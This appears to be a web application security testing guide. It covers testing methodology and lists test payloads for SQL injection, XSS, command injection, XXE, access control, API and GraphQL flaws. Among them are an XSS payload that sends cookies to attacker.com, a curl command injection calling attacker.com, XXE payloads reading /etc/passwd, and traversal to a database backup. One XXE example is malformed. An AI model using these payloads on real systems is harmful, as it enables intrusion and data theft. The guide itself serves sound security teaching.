Web Application Security Testing

Understanding Web Application Security Testing

Web applications face constant attacks from malicious actors seeking to steal data, disrupt services, or gain unauthorized access. Web Application Security Testing (WAST) is the systematic process of identifying vulnerabilities before attackers can exploit them. This comprehensive guide covers the methodologies, tools, and techniques that security professionals use to assess web application security.

Modern web applications are extraordinarily complex, combining frontend interfaces, backend APIs, databases, authentication systems, and third-party integrations. Each component introduces potential security weaknesses. Effective security testing requires understanding this complexity and systematically evaluating each attack surface for vulnerabilities.

OWASP Top 10: The Foundation of Web Security

The OWASP Top 10 represents the most critical security risks to web applications. Understanding each vulnerability class, how it manifests, and how to test for it forms the foundation of professional web application security testing.

Testing Methodology: A Systematic Approach

Professional web application security testing follows a structured methodology that ensures comprehensive coverage while maintaining efficiency. This systematic approach adapts to different application types and testing objectives.

# Phase 1: Reconnaissance and Information Gathering
# Understanding the attack surface

# Passive Reconnaissance
# - Certificate Transparency logs
# - Wayback Machine archives
# - Public code repositories
# - Social media and job postings

# Active Reconnaissance
# - Subdomain enumeration
# - Technology fingerprinting
# - Directory and file discovery
# - Parameter identification

# Phase 2: Application Mapping
# - Spidering and crawling
# - Identifying entry points
# - Understanding business logic
# - Authentication flows

# Phase 3: Vulnerability Discovery
# - Automated scanning
# - Manual testing
# - Fuzzing and edge cases
# - Business logic analysis

# Phase 4: Exploitation and Validation
# - Proof of concept development
# - Impact assessment
# - False positive elimination
# - Documentation

# Phase 5: Reporting
# - Detailed findings documentation
# - Risk rating and prioritization
# - Remediation recommendations
# - Executive summary

Testing for Injection Vulnerabilities

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query. Testing requires understanding how each interpreter processes input and identifying where user-controlled data flows into interpreter commands.

# SQL Injection Test Payloads
# Authentication Bypass
' OR '1'='1
' OR 1=1--
" OR "1"="1
admin'--

# Union-based Injection
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT username,password FROM users--

# Boolean-based Blind
' AND 1=1--
' AND 1=2--
' AND (SELECT COUNT(*) FROM users)>0--

# Time-based Blind
' AND SLEEP(5)--
' AND (SELECT * FROM users) LIKE '%a%'

# Error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--

# XSS Test Payloads

# Reflected XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)

# Stored XSS
<script>alert(document.cookie)</script>
<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>

# DOM-based XSS
'><script>alert(1)</script>
#" onfocus=alert(1) autofocus="
javascript:alert(1)

# Filter Bypass
<scr<script>ipt>alert(1)</scr</script>ipt>
<ScRiPt>alert(1)</sCrIpT>
<img src="x" onerror="alert(1)">
<iframe src="javascript:alert(1)">

# Command Injection Payloads
; whoami
| whoami
& whoami
` whoami `
$(whoami)
`whoami`

# Blind Command Injection
; sleep 5
| ping -c 5 127.0.0.1
; curl https://attacker.com/`whoami`

# XXE Injection Payloads
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# XXE for SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/">]>
<foo>&xxe;</foo>

# XXE File Retrieval via Out-of-band
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "https://attacker.com/evil.dtd">>
%dtd; %xxe;

Authentication and Session Management Testing

Authentication and session management flaws are among the most prevalent vulnerabilities in web applications. These weaknesses can allow attackers to impersonate legitimate users, bypass login mechanisms, or hijack active sessions.

# Session Token Analysis
# Check for:
# - Token length and entropy
# - Token predictability
# - Session fixation vulnerabilities
# - Session timeout configuration
# - Proper session invalidation on logout

# Session Token Testing
# Burp Suite Sequencer for entropy analysis
# Check token generation patterns
# Test if sequential tokens can be predicted

# Cookie Security Attributes
# Secure: Should be set for HTTPS
# HttpOnly: Prevents JavaScript access
# SameSite: Cookie CSRF protection
# Path: Restrict cookie to specific paths

# Session Fixation Test
# 1. Obtain session token before login
# 2. Authenticate without changing token
# 3. Verify token is regenerated after login
# 4. If same token persists, session fixation exists

# Token Manipulation
# Modify cookie values to test authorization
# Test for IDOR through session data
# Check if tokens can be reused after logout

Authorization and Access Control Testing

Broken access control ranks first in the OWASP Top 10. Testing authorization requires understanding the application's role hierarchy and systematically testing both horizontal and vertical privilege escalation possibilities.

# Insecure Direct Object Reference (IDOR)
# Test by modifying object identifiers

# User Data Access
GET /api/user/123/profile
# Modify ID to access other users
GET /api/user/124/profile
GET /api/user/ADMIN/profile

# File Access
GET /documents/report.pdf
GET /documents/../../../etc/passwd
GET /documents/../../backup/database.sql

# API Parameter Manipulation
# Modify IDs, GUIDs, and object references
POST /api/orders/cancel
{"order_id": 12345}
# Change order_id to another user's order
{"order_id": 12346}

# Horizontal Privilege Escalation
# User A accessing User B's resources
# Both have same permission level

# Vertical Privilege Escalation
# Regular user accessing admin functions
GET /admin/dashboard
GET /admin/users
POST /admin/user/delete?id=5

# Method Tampering
GET /api/data (Read) - Success
POST /api/data (Create) - Success
PUT /api/data/1 (Update) - Success
DELETE /api/data/1 (Delete) - Success
# Test unauthorized methods

# Header Manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1

API Security Testing

Modern web applications heavily rely on APIs for data exchange. API security testing requires understanding REST and GraphQL protocols, authentication mechanisms, and the unique vulnerabilities that affect API architectures.

# REST API Test Cases

# Authentication Testing
# Check for:
# - API key exposure
# - Bearer token security
# - Basic auth over HTTPS
# - OAuth implementation flaws

# Method Testing
GET /api/users - List users
POST /api/users - Create user
GET /api/users/1 - Get specific user
PUT /api/users/1 - Update user
DELETE /api/users/1 - Delete user

# Test all methods on each endpoint
# Look for method-based access control flaws

# Parameter Manipulation
GET /api/users?role=admin
GET /api/users?id[]=1&id[]=2
POST /api/users {"is_admin": true}

# Mass Assignment
POST /api/profile/update
{"username": "test", "role": "admin"}

# BOLA (Broken Object Level Authorization)
# Iterate through object IDs
GET /api/orders/1
GET /api/orders/2
GET /api/orders/3
# Check for unauthorized access

# Rate Limiting
# Send multiple requests quickly
# Check for brute force vulnerabilities

# GraphQL Specific Tests

# Introspection Query
POST /graphql
{"query": "{__schema{types{name kind fields{name}}}}"}

# Field Suggestion Attack
# Repeated introspection errors reveal schema

# Depth Limiting Bypass
# Nested queries overwhelming server
query {
  user(where:{id:1}) {
    posts {
      comments {
        author {
          posts {
            comments { author { ... } }
          }
        }
      }
    }
  }
}

# Query Complexity Attack
# Expensive queries consuming resources
query {
  users {
    posts {
      comments {
        author {
          posts { comments { author { ... } } }
        }
      }
    }
  }
}

# Alias-based DoS
query {
  a1: user(id:1) { name }
  a2: user(id:2) { name }
  a3: user(id:3) { name }
  # ... repeat hundreds of times
}

# IDOR in GraphQL
query {
  user(id: "123") { # Change ID
    private_data
  }
}

Business Logic Vulnerability Testing

Business logic vulnerabilities are flaws in application design that allow users to circumvent intended business rules. These vulnerabilities are impossible to detect with automated scanners and require understanding the application's purpose and workflows.

Frequently Asked Questions